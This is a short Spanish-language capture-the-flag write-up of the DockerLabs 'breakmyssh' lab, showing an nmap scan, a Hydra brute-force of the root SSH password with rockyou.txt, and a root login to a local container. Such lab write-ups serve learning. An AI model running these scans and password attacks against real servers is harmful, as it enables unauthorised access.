

# breakmyssh

Lo primero, como siempre, **nmap** para ver posibles vías de entrada:

```
Session Actions Edit View Help
(kali㉿kali)-[~]
$ nmap -p- --open -sSVC -n -nP 172.17.0.2
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-15 03:50 -0500
Nmap scan report for 172.17.0.2
Host is up (0.0000060s latency).
Not shown: 65534 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 1a:cb:5e:a3:3d:d1:da:c0:ed:2a:61:7f:73:79:46:ce (RSA)
|   256 54:9e:53:23:57:fc:60:1e:c0:41:cb:f3:85:32:01:fc (ECDSA)
|_  256 4b:15:7e:7b:b3:07:54:3d:74:ad:e0:94:78:0c:94:93 (ED25519)
MAC Address: 02:42:AC:11:00:02 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.40 seconds
```

Está abierto el puerto 22 (SSH). Necesitaríamos conocer algún usuario. Esta versión de SSH tiene una vulnerabilidad que permite enumerar usuarios.

No obstante, antes de liarnos con exploits, vamos a ver si hay suerte y existe un usuario 'root'. Se lo enchufamos directamente a **Hydra**:

```
(kali㉿kali)-[~/DockerLabs/1.Muy Fácil/breakmyssh]
$ hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or
nding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-15 04:45:06
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399),
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: root password: estrella
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete until end.
[ERROR] 3 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-15 04:45:09
```

Pues sí, existe y además tenemos su password :-)

Probamos:

```

(kali㉿kali)-[~/DockerLabs/1.Muy Fácil/breakmyssh]
$ ssh root@172.17.0.2
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the ED25519 key sent by the remote host is
SHA256:U6y+etRI+fVmMxDtwFTSDrZCoIl2xG/Ur/6R0cQMamQ.
Please contact your system administrator.
Add correct host key in /home/kali/.ssh/known_hosts to get rid of this message.
Offending ECDSA key in /home/kali/.ssh/known_hosts:6
  remove with:
  ssh-keygen -f '/home/kali/.ssh/known_hosts' -R '172.17.0.2'
Host key for 172.17.0.2 has changed and you have requested strict checking.
Host key verification failed.

```

Nos da un error. Hacemos lo que nos dice y volvemos a probar:

```

(kali㉿kali)-[~/DockerLabs/1.Muy Fácil/breakmyssh]
$ ssh-keygen -f '/home/kali/.ssh/known_hosts' -R '172.17.0.2'
# Host 172.17.0.2 found: line 4
# Host 172.17.0.2 found: line 5
# Host 172.17.0.2 found: line 6
/home/kali/.ssh/known_hosts updated.
Original contents retained as /home/kali/.ssh/known_hosts.old

(kali㉿kali)-[~/DockerLabs/1.Muy Fácil/breakmyssh]
$ ssh root@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is: SHA256:U6y+etRI+fVmMxDtwFTSDrZCoIl2xG/Ur/6R0cQMamQ
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
root@172.17.0.2's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@b1fdaa178a42:~#

```

Estamos dentro y somos root. Conseguido!!

